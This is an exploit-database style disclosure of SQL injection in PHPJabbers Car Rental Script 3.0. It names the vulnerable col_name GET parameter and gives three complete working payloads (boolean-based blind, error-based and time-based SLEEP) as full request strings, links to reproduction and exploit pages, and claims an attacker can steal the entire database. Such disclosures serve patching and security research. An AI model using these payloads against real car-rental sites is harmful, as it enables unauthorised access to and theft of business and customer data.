## Title: Car Rental Script-3.0 Multiple - SQLi
## Author: nu11secur1ty
## Date: 08/25/2023
## Vendor: https://www.phpjabbers.com/
## Software: https://www.phpjabbers.com/car-rental-script/
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The `col_name` parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the col_name parameter, and a database error message was returned. The attacker easily can steal all information from the database of this web application!
WARNING! All of you: Be careful what you buy! This will be your responsibility!
STATUS: HIGH-CRITICAL Vulnerability
[+]Payload:
```mysql
---
Parameter: col_name (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: controller=pjFront&action=pjActionLoadCars&session_id=6ut9ht0iuk31r21iokmcdjak17&type_id=all&transmission=&col_name=(SELECT (CASE WHEN (9295=9295) THEN 0x746f74616c5f707269636527 ELSE (SELECT 8029 UNION SELECT 6897) END))&direction=asc
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: controller=pjFront&action=pjActionLoadCars&session_id=6ut9ht0iuk31r21iokmcdjak17&type_id=all&transmission=&col_name=(SELECT 6728 FROM(SELECT COUNT(*),CONCAT(0x717a706271,(SELECT (ELT(6728=6728,1))),0x7170717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&direction=asc
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: controller=pjFront&action=pjActionLoadCars&session_id=6ut9ht0iuk31r21iokmcdjak17&type_id=all&transmission=&col_name=(SELECT 1725 FROM (SELECT(SLEEP(5)))Gqfd)&direction=asc
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/%20Car-Rental-Script-3.0)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/09/car-rental-script-30-multiple-sqli.html)
## Time spent:
00:47:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>